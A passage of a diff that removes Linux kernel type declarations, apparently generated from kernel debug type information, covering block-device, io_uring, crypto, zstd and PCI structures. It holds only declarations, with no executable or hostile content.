long unsigned int state; - struct mutex open_mutex; - unsigned int open_partitions; - struct backing_dev_info *bdi; - struct kobject *slave_dir; - struct timer_rand_state *random; - atomic_t sync_io; - struct disk_events *ev; - int node_id; - struct badblocks *bb; - struct lockdep_map lockdep_map; - u64 diskseq; - struct blk_independent_access_ranges *ia_ranges; -}; - -struct partition_meta_info { - char uuid[37]; - u8 volname[64]; -}; - -enum req_op { - REQ_OP_READ = 0, - REQ_OP_WRITE = 1, - REQ_OP_FLUSH = 2, - REQ_OP_DISCARD = 3, - REQ_OP_SECURE_ERASE = 5, - REQ_OP_WRITE_ZEROES = 9, - REQ_OP_ZONE_OPEN = 10, - REQ_OP_ZONE_CLOSE = 11, - REQ_OP_ZONE_FINISH = 12, - REQ_OP_ZONE_APPEND = 13, - REQ_OP_ZONE_RESET = 15, - REQ_OP_ZONE_RESET_ALL = 17, - REQ_OP_DRV_IN = 34, - REQ_OP_DRV_OUT = 35, - REQ_OP_LAST = 36, -}; - -struct blk_rq_stat { - u64 mean; - u64 min; - u64 max; - u32 nr_samples; - u64 batch; -}; - -struct blk_zone { - __u64 start; - __u64 len; - __u64 wp; - __u8 type; - __u8 cond; - __u8 non_seq; - __u8 reset; - __u8 resv[4]; - __u64 capacity; - __u8 reserved[24]; -}; - -typedef int (*report_zones_cb)(struct blk_zone *, unsigned int, void *); - -enum blk_unique_id { - BLK_UID_T10 = 1, - BLK_UID_EUI64 = 2, - BLK_UID_NAA = 3, -}; - -struct hd_geometry; - -struct pr_ops; - -struct block_device_operations { - void (*submit_bio)(struct bio *); - int (*poll_bio)(struct bio *, struct io_comp_batch *, unsigned int); - int (*open)(struct block_device *, fmode_t); - void (*release)(struct gendisk *, fmode_t); - int (*rw_page)(struct block_device *, sector_t, struct page *, enum req_op); - int (*ioctl)(struct block_device *, fmode_t, unsigned int, long unsigned int); - int (*compat_ioctl)(struct block_device *, fmode_t, unsigned int, long unsigned int); - unsigned int (*check_events)(struct gendisk *, unsigned int); - void (*unlock_native_capacity)(struct gendisk *); - int (*getgeo)(struct block_device *, struct hd_geometry *); - int (*set_read_only)(struct block_device *, bool); - void (*free_disk)(struct gendisk *); - void (*swap_slot_free_notify)(struct block_device *, long unsigned int); - int (*report_zones)(struct gendisk *, sector_t, unsigned int, report_zones_cb, void *); - char * (*devnode)(struct gendisk *, umode_t *); - int (*get_unique_id)(struct gendisk *, u8 *, enum blk_unique_id); - struct module *owner; - const struct pr_ops *pr_ops; - int (*alternative_gpt_sector)(struct gendisk *, sector_t *); -}; - -struct blk_independent_access_range { - struct kobject kobj; - sector_t sector; - sector_t nr_sectors; -}; - -struct blk_independent_access_ranges { - struct kobject kobj; - bool sysfs_registered; - unsigned int nr_ia_ranges; - struct blk_independent_access_range ia_range[0]; -}; - -enum blk_eh_timer_return { - BLK_EH_DONE = 0, - BLK_EH_RESET_TIMER = 1, -}; - -struct blk_mq_hw_ctx; - -struct blk_mq_queue_data; - -struct blk_mq_ops { - blk_status_t (*queue_rq)(struct blk_mq_hw_ctx *, const struct blk_mq_queue_data *); - void (*commit_rqs)(struct blk_mq_hw_ctx *); - void (*queue_rqs)(struct request **); - int (*get_budget)(struct request_queue *); - void (*put_budget)(struct request_queue *, int); - void (*set_rq_budget_token)(struct request *, int); - int (*get_rq_budget_token)(struct request *); - enum blk_eh_timer_return (*timeout)(struct request *); - int (*poll)(struct blk_mq_hw_ctx *, struct io_comp_batch *); - void (*complete)(struct request *); - int (*init_hctx)(struct blk_mq_hw_ctx *, void *, unsigned int); - void (*exit_hctx)(struct blk_mq_hw_ctx *, unsigned int); - int (*init_request)(struct blk_mq_tag_set *, struct request *, unsigned int, unsigned int); - void (*exit_request)(struct blk_mq_tag_set *, struct request *, unsigned int); - void (*cleanup_rq)(struct request *); - bool (*busy)(struct request_queue *); - void (*map_queues)(struct blk_mq_tag_set *); - void (*show_rq)(struct seq_file *, struct request *); -}; - -enum pr_type { - PR_WRITE_EXCLUSIVE = 1, - PR_EXCLUSIVE_ACCESS = 2, - PR_WRITE_EXCLUSIVE_REG_ONLY = 3, - PR_EXCLUSIVE_ACCESS_REG_ONLY = 4, - PR_WRITE_EXCLUSIVE_ALL_REGS = 5, - PR_EXCLUSIVE_ACCESS_ALL_REGS = 6, -}; - -struct pr_ops { - int (*pr_register)(struct block_device *, u64, u64, u32); - int (*pr_reserve)(struct block_device *, u64, enum pr_type, u32); - int (*pr_release)(struct block_device *, u64, enum pr_type); - int (*pr_preempt)(struct block_device *, u64, u64, enum pr_type, bool); - int (*pr_clear)(struct block_device *, u64); -}; - -struct mem_cgroup_reclaim_iter { - struct mem_cgroup *position; - unsigned int generation; -}; - -struct shrinker_info { - struct callback_head rcu; - atomic_long_t *nr_deferred; - long unsigned int *map; -}; - -struct lruvec_stats_percpu { - long int state[43]; - long int state_prev[43]; -}; - -struct lruvec_stats { - long int state[43]; - long int state_pending[43]; -}; - -struct mem_cgroup_per_node { - struct lruvec lruvec; - struct lruvec_stats_percpu *lruvec_stats_percpu; - struct lruvec_stats lruvec_stats; - long unsigned int lru_zone_size[20]; - struct mem_cgroup_reclaim_iter iter; - struct shrinker_info *shrinker_info; - struct rb_node tree_node; - long unsigned int usage_in_excess; - bool on_tree; - struct mem_cgroup *memcg; -}; - -struct eventfd_ctx; - -struct mem_cgroup_threshold { - struct eventfd_ctx *eventfd; - long unsigned int threshold; -}; - -struct mem_cgroup_threshold_ary { - int current_threshold; - unsigned int size; - struct mem_cgroup_threshold entries[0]; -}; - -struct obj_cgroup { - struct percpu_ref refcnt; - struct mem_cgroup *memcg; - atomic_t nr_charged_bytes; - union { - struct list_head list; - struct callback_head rcu; - }; -}; - -typedef int filler_t(struct file *, struct folio *); - -union swap_header { - struct { - char reserved[4086]; - char magic[10]; - } magic; - struct { - char bootbits[1024]; - __u32 version; - __u32 last_page; - __u32 nr_badpages; - unsigned char sws_uuid[16]; - unsigned char sws_volume[16]; - __u32 padding[117]; - __u32 badpages[1]; - } info; -}; - -struct swap_extent { - struct rb_node rb_node; - long unsigned int start_page; - long unsigned int nr_pages; - sector_t start_block; -}; - -enum { - SWP_USED = 1, - SWP_WRITEOK = 2, - SWP_DISCARDABLE = 4, - SWP_DISCARDING = 8, - SWP_SOLIDSTATE = 16, - SWP_CONTINUED = 32, - SWP_BLKDEV = 64, - SWP_ACTIVATED = 128, - SWP_FS_OPS = 256, - SWP_AREA_DISCARD = 512, - SWP_PAGE_DISCARD = 1024, - SWP_STABLE_WRITES = 2048, - SWP_SYNCHRONOUS_IO = 4096, - SWP_SCANNING = 16384, -}; - -struct percpu_cluster { - struct swap_cluster_info index; - unsigned int next; -}; - -enum fs_value_type { - fs_value_is_undefined = 0, - fs_value_is_flag = 1, - fs_value_is_string = 2, - fs_value_is_blob = 3, - fs_value_is_filename = 4, - fs_value_is_file = 5, -}; - -struct fs_parameter { - const char *key; - enum fs_value_type type: 8; - union { - char *string; - void *blob; - struct filename *name; - struct file *file; - }; - size_t size; - int dirfd; -}; - -struct fc_log { - refcount_t usage; - u8 head; - u8 tail; - u8 need_free; - struct module *owner; - char *buffer[8]; -}; - -struct fs_context_operations { - void (*free)(struct fs_context *); - int (*dup)(struct fs_context *, struct fs_context *); - int (*parse_param)(struct fs_context *, struct fs_parameter *); - int (*parse_monolithic)(struct fs_context *, void *); - int (*get_tree)(struct fs_context *); - int (*reconfigure)(struct fs_context *); -}; - -struct fs_parse_result { - bool negated; - union { - bool boolean; - int int_32; - unsigned int uint_32; - u64 uint_64; - }; -}; - -enum { - PROC_ENTRY_PERMANENT = 1, -}; - -struct proc_ops { - unsigned int proc_flags; - int (*proc_open)(struct inode *, struct file *); - ssize_t (*proc_read)(struct file *, char *, size_t, loff_t *); - ssize_t (*proc_read_iter)(struct kiocb *, struct iov_iter *); - ssize_t (*proc_write)(struct file *, const char *, size_t, loff_t *); - loff_t (*proc_lseek)(struct file *, loff_t, int); - int (*proc_release)(struct inode *, struct file *); - __poll_t (*proc_poll)(struct file *, struct poll_table_struct *); - long int (*proc_ioctl)(struct file *, unsigned int, long unsigned int); - int (*proc_mmap)(struct file *, struct vm_area_struct *); - long unsigned int (*proc_get_unmapped_area)(struct file *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); -}; - -typedef int rmap_t; - -typedef struct poll_table_struct poll_table; - -enum exception_stack_ordering { - ESTACK_DF = 0, - ESTACK_NMI = 1, - ESTACK_DB = 2, - ESTACK_MCE = 3, - ESTACK_VC = 4, - ESTACK_VC2 = 5, - N_EXCEPTION_STACKS = 6, -}; - -enum { - TRACE_EVENT_FL_FILTERED = 1, - TRACE_EVENT_FL_CAP_ANY = 2, - TRACE_EVENT_FL_NO_SET_FILTER = 4, - TRACE_EVENT_FL_IGNORE_ENABLE = 8, - TRACE_EVENT_FL_TRACEPOINT = 16, - TRACE_EVENT_FL_DYNAMIC = 32, - TRACE_EVENT_FL_KPROBE = 64, - TRACE_EVENT_FL_UPROBE = 128, - TRACE_EVENT_FL_EPROBE = 256, - TRACE_EVENT_FL_CUSTOM = 512, -}; - -struct syscall_metadata { - const char *name; - int syscall_nr; - int nb_args; - const char **types; - const char **args; - struct list_head enter_fields; - struct trace_event_call *enter_event; - struct trace_event_call *exit_event; -}; - -struct scatter_walk { - struct scatterlist *sg; - unsigned int offset; -}; - -typedef __u64 __be64; - -typedef void (*exitcall_t)(); - -struct crypto_alg; - -struct crypto_tfm { - u32 crt_flags; - int node; - void (*exit)(struct crypto_tfm *); - struct crypto_alg *__crt_alg; - void *__crt_ctx[0]; -}; - -struct cipher_alg { - unsigned int cia_min_keysize; - unsigned int cia_max_keysize; - int (*cia_setkey)(struct crypto_tfm *, const u8 *, unsigned int); - void (*cia_encrypt)(struct crypto_tfm *, u8 *, const u8 *); - void (*cia_decrypt)(struct crypto_tfm *, u8 *, const u8 *); -}; - -struct compress_alg { - int (*coa_compress)(struct crypto_tfm *, const u8 *, unsigned int, u8 *, unsigned int *); - int (*coa_decompress)(struct crypto_tfm *, const u8 *, unsigned int, u8 *, unsigned int *); -}; - -struct crypto_type; - -struct crypto_alg { - struct list_head cra_list; - struct list_head cra_users; - u32 cra_flags; - unsigned int cra_blocksize; - unsigned int cra_ctxsize; - unsigned int cra_alignmask; - int cra_priority; - refcount_t cra_refcnt; - char cra_name[128]; - char cra_driver_name[128]; - const struct crypto_type *cra_type; - union { - struct cipher_alg cipher; - struct compress_alg compress; - } cra_u; - int (*cra_init)(struct crypto_tfm *); - void (*cra_exit)(struct crypto_tfm *); - void (*cra_destroy)(struct crypto_alg *); - struct module *cra_module; -}; - -struct sk_buff; - -struct crypto_instance; - -struct crypto_type { - unsigned int (*ctxsize)(struct crypto_alg *, u32, u32); - unsigned int (*extsize)(struct crypto_alg *); - int (*init)(struct crypto_tfm *, u32, u32); - int (*init_tfm)(struct crypto_tfm *); - void (*show)(struct seq_file *, struct crypto_alg *); - int (*report)(struct sk_buff *, struct crypto_alg *); - void (*free)(struct crypto_instance *); - unsigned int type; - unsigned int maskclear; - unsigned int maskset; - unsigned int tfmsize; -}; - -struct crypto_template; - -struct crypto_spawn; - -struct crypto_instance { - struct crypto_alg alg; - struct crypto_template *tmpl; - union { - struct hlist_node list; - struct crypto_spawn *spawns; - }; - void *__ctx[0]; -}; - -struct crypto_spawn { - struct list_head list; - struct crypto_alg *alg; - union { - struct crypto_instance *inst; - struct crypto_spawn *next; - }; - const struct crypto_type *frontend; - u32 mask; - bool dead; - bool registered; -}; - -struct rtattr; - -struct crypto_template { - struct list_head list; - struct hlist_head instances; - struct module *module; - int (*create)(struct crypto_template *, struct rtattr **); - char name[128]; -}; - -typedef struct { - __be64 a; - __be64 b; -} be128; - -struct gf128mul_4k { - be128 t[256]; -}; - -struct ghash_ctx { - struct gf128mul_4k *gf128; -}; - -struct ghash_desc_ctx { - u8 buffer[16]; - u32 bytes; -}; - -struct crypto_shash; - -struct shash_desc { - struct crypto_shash *tfm; - void *__ctx[0]; -}; - -struct crypto_shash { - unsigned int descsize; - struct crypto_tfm base; -}; - -struct shash_alg { - int (*init)(struct shash_desc *); - int (*update)(struct shash_desc *, const u8 *, unsigned int); - int (*final)(struct shash_desc *, u8 *); - int (*finup)(struct shash_desc *, const u8 *, unsigned int, u8 *); - int (*digest)(struct shash_desc *, const u8 *, unsigned int, u8 *); - int (*export)(struct shash_desc *, void *); - int (*import)(struct shash_desc *, const void *); - int (*setkey)(struct crypto_shash *, const u8 *, unsigned int); - int (*init_tfm)(struct crypto_shash *); - void (*exit_tfm)(struct crypto_shash *); - unsigned int descsize; - long: 0; - unsigned int digestsize; - unsigned int statesize; - struct crypto_alg base; -}; - -typedef __u32 blk_mq_req_flags_t; - -struct blk_mq_queue_map { - unsigned int *mq_map; - unsigned int nr_queues; - unsigned int queue_offset; -}; - -enum hctx_type { - HCTX_TYPE_DEFAULT = 0, - HCTX_TYPE_READ = 1, - HCTX_TYPE_POLL = 2, - HCTX_MAX_TYPES = 3, -}; - -struct badblocks { - struct device *dev; - int count; - int unacked_exist; - int shift; - u64 *page; - int changed; - seqlock_t lock; - sector_t sector; - sector_t size; -}; - -struct io_ring_ctx; - -struct io_wq; - -struct io_uring_task { - int cached_refs; - const struct io_ring_ctx *last; - struct io_wq *io_wq; - struct file *registered_rings[16]; - struct xarray xa; - struct wait_queue_head wait; - atomic_t in_idle; - atomic_t inflight_tracked; - struct percpu_counter inflight; - long: 64; - long: 64; - long: 64; - long: 64; - struct { - struct llist_head task_list; - struct callback_head task_work; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - }; -}; - -typedef int __kernel_rwf_t; - -struct io_uring_cmd { - struct file *file; - const void *cmd; - union { - void (*task_work_cb)(struct io_uring_cmd *); - void *cookie; - }; - u32 cmd_op; - u32 flags; - u8 pdu[32]; -}; - -struct io_uring_sqe { - __u8 opcode; - __u8 flags; - __u16 ioprio; - __s32 fd; - union { - __u64 off; - __u64 addr2; - struct { - __u32 cmd_op; - __u32 __pad1; - }; - }; - union { - __u64 addr; - __u64 splice_off_in; - }; - __u32 len; - union { - __kernel_rwf_t rw_flags; - __u32 fsync_flags; - __u16 poll_events; - __u32 poll32_events; - __u32 sync_range_flags; - __u32 msg_flags; - __u32 timeout_flags; - __u32 accept_flags; - __u32 cancel_flags; - __u32 open_flags; - __u32 statx_flags; - __u32 fadvise_advice; - __u32 splice_flags; - __u32 rename_flags; - __u32 unlink_flags; - __u32 hardlink_flags; - __u32 xattr_flags; - __u32 msg_ring_flags; - __u32 uring_cmd_flags; - }; - __u64 user_data; - union { - __u16 buf_index; - __u16 buf_group; - }; - __u16 personality; - union { - __s32 splice_fd_in; - __u32 file_index; - struct { - __u16 addr_len; - __u16 __pad3[1]; - }; - }; - union { - struct { - __u64 addr3; - __u64 __pad2[1]; - }; - __u8 cmd[0]; - }; -}; - -struct io_uring_cqe { - __u64 user_data; - __s32 res; - __u32 flags; - __u64 big_cqe[0]; -}; - -enum io_uring_cmd_flags { - IO_URING_F_COMPLETE_DEFER = 1, - IO_URING_F_UNLOCKED = 2, - IO_URING_F_NONBLOCK = -2147483648, - IO_URING_F_SQE128 = 4, - IO_URING_F_CQE32 = 8, - IO_URING_F_IOPOLL = 16, - IO_URING_F_MULTISHOT = 32, -}; - -struct xattr_name { - char name[256]; -}; - -struct xattr_ctx { - union { - const void *cvalue; - void *value; - }; - void *kvalue; - size_t size; - struct xattr_name *kname; - unsigned int flags; -}; - -enum task_work_notify_mode { - TWA_NONE = 0, - TWA_RESUME = 1, - TWA_SIGNAL = 2, - TWA_SIGNAL_NO_IPI = 3, -}; - -struct io_wq_work_node { - struct io_wq_work_node *next; -}; - -struct io_wq_work_list { - struct io_wq_work_node *first; - struct io_wq_work_node *last; -}; - -struct io_wq_work { - struct io_wq_work_node list; - unsigned int flags; - int cancel_seq; -}; - -struct io_fixed_file { - long unsigned int file_ptr; -}; - -struct io_file_table { - struct io_fixed_file *files; - long unsigned int *bitmap; - unsigned int alloc_hint; -}; - -struct io_hash_bucket { - spinlock_t lock; - struct hlist_head list; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct io_hash_table { - struct io_hash_bucket *hbs; - unsigned int hash_bits; -}; - -struct io_kiocb; - -struct io_submit_link { - struct io_kiocb *head; - struct io_kiocb *last; -}; - -struct io_submit_state { - struct io_wq_work_node free_list; - struct io_wq_work_list compl_reqs; - struct io_submit_link link; - bool plug_started; - bool need_plug; - short unsigned int submit_nr; - struct blk_plug plug; -}; - -struct io_alloc_cache { - struct hlist_head list; - unsigned int nr_cached; -}; - -struct io_restriction { - long unsigned int register_op[1]; - long unsigned int sqe_op[1]; - u8 sqe_flags_allowed; - u8 sqe_flags_required; - bool registered; -}; - -struct io_rings; - -struct io_rsrc_node; - -struct io_mapped_ubuf; - -struct io_buffer_list; - -struct io_sq_data; - -struct io_ev_fd; - -struct io_rsrc_data; - -struct socket; - -struct io_wq_hash; - -struct io_ring_ctx { - struct { - struct percpu_ref refs; - struct io_rings *rings; - unsigned int flags; - enum task_work_notify_mode notify_method; - unsigned int compat: 1; - unsigned int drain_next: 1; - unsigned int restricted: 1; - unsigned int off_timeout_used: 1; - unsigned int drain_active: 1; - unsigned int drain_disabled: 1; - unsigned int has_evfd: 1; - unsigned int syscall_iopoll: 1; - long: 64; - long: 64; - long: 64; - }; - struct { - struct mutex uring_lock; - u32 *sq_array; - struct io_uring_sqe *sq_sqes; - unsigned int cached_sq_head; - unsigned int sq_entries; - struct io_rsrc_node *rsrc_node; - int rsrc_cached_refs; - atomic_t cancel_seq; - struct io_file_table file_table; - unsigned int nr_user_files; - unsigned int nr_user_bufs; - struct io_mapped_ubuf **user_bufs; - struct io_submit_state submit_state; - struct io_buffer_list *io_bl; - struct xarray io_bl_xa; - struct list_head io_buffers_cache; - struct io_hash_table cancel_table_locked; - struct list_head cq_overflow_list; - struct io_alloc_cache apoll_cache; - struct io_alloc_cache netmsg_cache; - long: 64; - long: 64; - long: 64; - long: 64; - }; - struct io_wq_work_list locked_free_list; - unsigned int locked_free_nr; - const struct cred *sq_creds; - struct io_sq_data *sq_data; - struct wait_queue_head sqo_sq_wait; - struct list_head sqd_list; - long unsigned int check_cq; - unsigned int file_alloc_start; - unsigned int file_alloc_end; - struct xarray personalities; - u32 pers_next; - long: 64; - long: 64; - struct { - struct io_uring_cqe *cqe_cached; - struct io_uring_cqe *cqe_sentinel; - unsigned int cached_cq_tail; - unsigned int cq_entries; - struct io_ev_fd *io_ev_fd; - struct wait_queue_head cq_wait; - unsigned int cq_extra; - long: 64; - }; - struct { - spinlock_t completion_lock; - struct io_wq_work_list iopoll_list; - struct io_hash_table cancel_table; - bool poll_multi_queue; - struct llist_head work_llist; - struct list_head io_buffers_comp; - }; - struct { - spinlock_t timeout_lock; - atomic_t cq_timeouts; - struct list_head timeout_list; - struct list_head ltimeout_list; - unsigned int cq_last_tm_flush; - long: 64; - long: 64; - }; - struct io_restriction restrictions; - struct task_struct *submitter_task; - struct io_rsrc_node *rsrc_backup_node; - struct io_mapped_ubuf *dummy_ubuf; - struct io_rsrc_data *file_data; - struct io_rsrc_data *buf_data; - struct delayed_work rsrc_put_work; - struct llist_head rsrc_put_llist; - struct list_head rsrc_ref_list; - spinlock_t rsrc_ref_lock; - struct list_head io_buffers_pages; - struct socket *ring_sock; - struct io_wq_hash *hash_map; - struct user_struct *user; - struct mm_struct *mm_account; - struct llist_head fallback_llist; - struct delayed_work fallback_work; - struct work_struct exit_work; - struct list_head tctx_list; - struct completion ref_comp; - u32 iowq_limits[2]; - bool iowq_limits_set; - struct list_head defer_list; - unsigned int sq_thread_idle; - unsigned int evfd_last_cq_tail; - long: 64; -}; - -struct io_uring { - u32 head; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - u32 tail; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct io_rings { - struct io_uring sq; - struct io_uring cq; - u32 sq_ring_mask; - u32 cq_ring_mask; - u32 sq_ring_entries; - u32 cq_ring_entries; - u32 sq_dropped; - atomic_t sq_flags; - u32 cq_flags; - u32 cq_overflow; - long: 64; - long: 64; - long: 64; - long: 64; - struct io_uring_cqe cqes[0]; -}; - -struct io_cmd_data { - struct file *file; - __u8 data[56]; -}; - -struct io_cqe { - __u64 user_data; - __s32 res; - union { - __u32 flags; - int fd; - }; -}; - -typedef void (*io_req_tw_func_t)(struct io_kiocb *, bool *); - -struct io_task_work { - struct llist_node node; - io_req_tw_func_t func; -}; - -struct io_buffer; - -struct async_poll; - -struct io_kiocb { - union { - struct file *file; - struct io_cmd_data cmd; - }; - u8 opcode; - u8 iopoll_completed; - u16 buf_index; - unsigned int flags; - struct io_cqe cqe; - struct io_ring_ctx *ctx; - struct task_struct *task; - struct io_rsrc_node *rsrc_node; - union { - struct io_mapped_ubuf *imu; - struct io_buffer *kbuf; - struct io_buffer_list *buf_list; - }; - union { - struct io_wq_work_node comp_list; - __poll_t apoll_events; - }; - atomic_t refs; - atomic_t poll_refs; - struct io_task_work io_task_work; - union { - struct hlist_node hash_node; - struct { - u64 extra1; - u64 extra2; - }; - }; - struct async_poll *apoll; - void *async_data; - struct io_kiocb *link; - const struct cred *creds; - struct io_wq_work work; -}; - -struct io_ev_fd { - struct eventfd_ctx *cq_ev_fd; - unsigned int eventfd_async: 1; - struct callback_head rcu; - atomic_t refs; - atomic_t ops; -}; - -struct io_wq_hash { - refcount_t refs; - long unsigned int map; - struct wait_queue_head wait; -}; - -enum { - REQ_F_FIXED_FILE = 1, - REQ_F_IO_DRAIN = 2, - REQ_F_LINK = 4, - REQ_F_HARDLINK = 8, - REQ_F_FORCE_ASYNC = 16, - REQ_F_BUFFER_SELECT = 32, - REQ_F_CQE_SKIP = 64, - REQ_F_FAIL = 256, - REQ_F_INFLIGHT = 512, - REQ_F_CUR_POS = 1024, - REQ_F_NOWAIT = 2048, - REQ_F_LINK_TIMEOUT = 4096, - REQ_F_NEED_CLEANUP = 8192, - REQ_F_POLLED = 16384, - REQ_F_BUFFER_SELECTED = 32768, - REQ_F_BUFFER_RING = 65536, - REQ_F_REISSUE = 131072, - REQ_F_SUPPORT_NOWAIT = 1073741824, - REQ_F_ISREG = 2147483648, - REQ_F_CREDS = 262144, - REQ_F_REFCOUNT = 524288, - REQ_F_ARM_LTIMEOUT = 1048576, - REQ_F_ASYNC_DATA = 2097152, - REQ_F_SKIP_LINK_CQES = 4194304, - REQ_F_SINGLE_POLL = 8388608, - REQ_F_DOUBLE_POLL = 16777216, - REQ_F_PARTIAL_IO = 33554432, - REQ_F_APOLL_MULTISHOT = 134217728, - REQ_F_CQE32_INIT = 67108864, - REQ_F_CLEAR_POLLIN = 268435456, - REQ_F_HASH_LOCKED = 536870912, -}; - -enum { - IOU_OK = 0, - IOU_ISSUE_SKIP_COMPLETE = -529, - IOU_STOP_MULTISHOT = -125, -}; - -struct io_xattr { - struct file *file; - struct xattr_ctx ctx; - struct filename *filename; -}; - -typedef __u32 __le32; - -typedef s16 int16_t; - -typedef u8 uint8_t; - -typedef u64 uint64_t; - -typedef uint8_t BYTE; - -typedef uint16_t U16; - -typedef int16_t S16; - -typedef uint32_t U32; - -typedef uint64_t U64; - -typedef U32 HUF_DTable; - -typedef struct { - U16 nextState; - BYTE nbAdditionalBits; - BYTE nbBits; - U32 baseValue; -} ZSTD_seqSymbol; - -typedef struct { - ZSTD_seqSymbol LLTable[513]; - ZSTD_seqSymbol OFTable[257]; - ZSTD_seqSymbol MLTable[513]; - HUF_DTable hufTable[4097]; - U32 rep[3]; - U32 workspace[157]; -} ZSTD_entropyDTables_t; - -typedef enum { - ZSTD_frame = 0, - ZSTD_skippableFrame = 1, -} ZSTD_frameType_e; - -typedef struct { - long long unsigned int frameContentSize; - long long unsigned int windowSize; - unsigned int blockSizeMax; - ZSTD_frameType_e frameType; - unsigned int headerSize; - unsigned int dictID; - unsigned int checksumFlag; -} ZSTD_frameHeader; - -typedef enum { - bt_raw = 0, - bt_rle = 1, - bt_compressed = 2, - bt_reserved = 3, -} blockType_e; - -typedef enum { - ZSTDds_getFrameHeaderSize = 0, - ZSTDds_decodeFrameHeader = 1, - ZSTDds_decodeBlockHeader = 2, - ZSTDds_decompressBlock = 3, - ZSTDds_decompressLastBlock = 4, - ZSTDds_checkChecksum = 5, - ZSTDds_decodeSkippableHeader = 6, - ZSTDds_skipFrame = 7, -} ZSTD_dStage; - -struct xxh64_state { - uint64_t total_len; - uint64_t v1; - uint64_t v2; - uint64_t v3; - uint64_t v4; - uint64_t mem64[4]; - uint32_t memsize; -}; - -typedef enum { - ZSTD_f_zstd1 = 0, - ZSTD_f_zstd1_magicless = 1, -} ZSTD_format_e; - -typedef enum { - ZSTD_d_validateChecksum = 0, - ZSTD_d_ignoreChecksum = 1, -} ZSTD_forceIgnoreChecksum_e; - -typedef void * (*ZSTD_allocFunction)(void *, size_t); - -typedef void (*ZSTD_freeFunction)(void *, void *); - -typedef struct { - ZSTD_allocFunction customAlloc; - ZSTD_freeFunction customFree; - void *opaque; -} ZSTD_customMem; - -typedef enum { - ZSTD_use_indefinitely = -1, - ZSTD_dont_use = 0, - ZSTD_use_once = 1, -} ZSTD_dictUses_e; - -struct ZSTD_DDict_s; - -typedef struct ZSTD_DDict_s ZSTD_DDict; - -typedef struct { - const ZSTD_DDict **ddictPtrTable; - size_t ddictPtrTableSize; - size_t ddictPtrCount; -} ZSTD_DDictHashSet; - -typedef enum { - ZSTD_rmd_refSingleDDict = 0, - ZSTD_rmd_refMultipleDDicts = 1, -} ZSTD_refMultipleDDicts_e; - -typedef enum { - zdss_init = 0, - zdss_loadHeader = 1, - zdss_read = 2, - zdss_load = 3, - zdss_flush = 4, -} ZSTD_dStreamStage; - -typedef enum { - ZSTD_bm_buffered = 0, - ZSTD_bm_stable = 1, -} ZSTD_bufferMode_e; - -struct ZSTD_outBuffer_s { - void *dst; - size_t size; - size_t pos; -}; - -typedef struct ZSTD_outBuffer_s ZSTD_outBuffer; - -struct ZSTD_DCtx_s { - const ZSTD_seqSymbol *LLTptr; - const ZSTD_seqSymbol *MLTptr; - const ZSTD_seqSymbol *OFTptr; - const HUF_DTable *HUFptr; - ZSTD_entropyDTables_t entropy; - U32 workspace[640]; - const void *previousDstEnd; - const void *prefixStart; - const void *virtualStart; - const void *dictEnd; - size_t expected; - ZSTD_frameHeader fParams; - U64 processedCSize; - U64 decodedSize; - blockType_e bType; - ZSTD_dStage stage; - U32 litEntropy; - U32 fseEntropy; - struct xxh64_state xxhState; - size_t headerSize; - ZSTD_format_e format; - ZSTD_forceIgnoreChecksum_e forceIgnoreChecksum; - U32 validateChecksum; - const BYTE *litPtr; - ZSTD_customMem customMem; - size_t litSize; - size_t rleSize; - size_t staticSize; - int bmi2; - ZSTD_DDict *ddictLocal; - const ZSTD_DDict *ddict; - U32 dictID; - int ddictIsCold; - ZSTD_dictUses_e dictUses; - ZSTD_DDictHashSet *ddictSet; - ZSTD_refMultipleDDicts_e refMultipleDDicts; - ZSTD_dStreamStage streamStage; - char *inBuff; - size_t inBuffSize; - size_t inPos; - size_t maxWindowSize; - char *outBuff; - size_t outBuffSize; - size_t outStart; - size_t outEnd; - size_t lhSize; - void *legacyContext; - U32 previousLegacyVersion; - U32 legacyVersion; - U32 hostageByte; - int noForwardProgress; - ZSTD_bufferMode_e outBufferMode; - ZSTD_outBuffer expectedOutBuffer; - BYTE litBuffer[131104]; - BYTE headerBuffer[18]; - size_t oversizedDuration; -}; - -typedef struct ZSTD_DCtx_s ZSTD_DCtx; - -struct ZSTD_DDict_s { - void *dictBuffer; - const void *dictContent; - size_t dictSize; - ZSTD_entropyDTables_t entropy; - U32 dictID; - U32 entropyPresent; - ZSTD_customMem cMem; -}; - -typedef enum { - ZSTD_dct_auto = 0, - ZSTD_dct_rawContent = 1, - ZSTD_dct_fullDict = 2, -} ZSTD_dictContentType_e; - -typedef enum { - ZSTD_dlm_byCopy = 0, - ZSTD_dlm_byRef = 1, -} ZSTD_dictLoadMethod_e; - -struct notifier_block; - -typedef int (*notifier_fn_t)(struct notifier_block *, long unsigned int, void *); - -struct notifier_block { - notifier_fn_t notifier_call; - struct notifier_block *next; - int priority; -}; - -struct ei_entry { - struct list_head list; - long unsigned int start_addr; - long unsigned int end_addr; - int etype; - void *priv; -}; - -typedef phys_addr_t resource_size_t; - -struct pci_device_id { - __u32 vendor; - __u32 device; - __u32 subvendor; - __u32 subdevice; - __u32 class; - __u32 class_mask; - kernel_ulong_t driver_data; - __u32 override_only; -}; - -struct resource { - resource_size_t start; - resource_size_t end; - const char *name; - long unsigned int flags; - long unsigned int desc; - struct resource *parent; - struct resource *sibling; - struct resource *child; -}; - -struct pci_bus; - -struct hotplug_slot; - -struct pci_slot { - struct pci_bus *bus; - struct list_head list; - struct hotplug_slot *hotplug; - unsigned char number; - struct kobject kobj; -}; - -typedef short unsigned int pci_bus_flags_t; - -struct pci_dev; - -struct pci_ops; - -struct proc_dir_entry; - -struct pci_bus { - struct list_head node; - struct pci_bus *parent; - struct list_head children; - struct list_head devices; - struct pci_dev *self; - struct list_head slots; - struct resource *resource[4]; - struct list_head resources; - struct resource busn_res; - struct pci_ops *ops; - void *sysdata; - struct proc_dir_entry *procdir; - unsigned char number; - unsigned char primary; - unsigned char max_bus_speed; - unsigned char cur_bus_speed; - char name[48]; - short unsigned int bridge_ctl; - pci_bus_flags_t bus_flags; - struct device *bridge; - struct device dev; - struct bin_attribute *legacy_io; - struct bin_attribute *legacy_mem; - unsigned int is_added: 1; - unsigned int unsafe_warn: 1; -}; - -enum { - PCI_STD_RESOURCES = 0, - PCI_STD_RESOURCE_END = 5, - 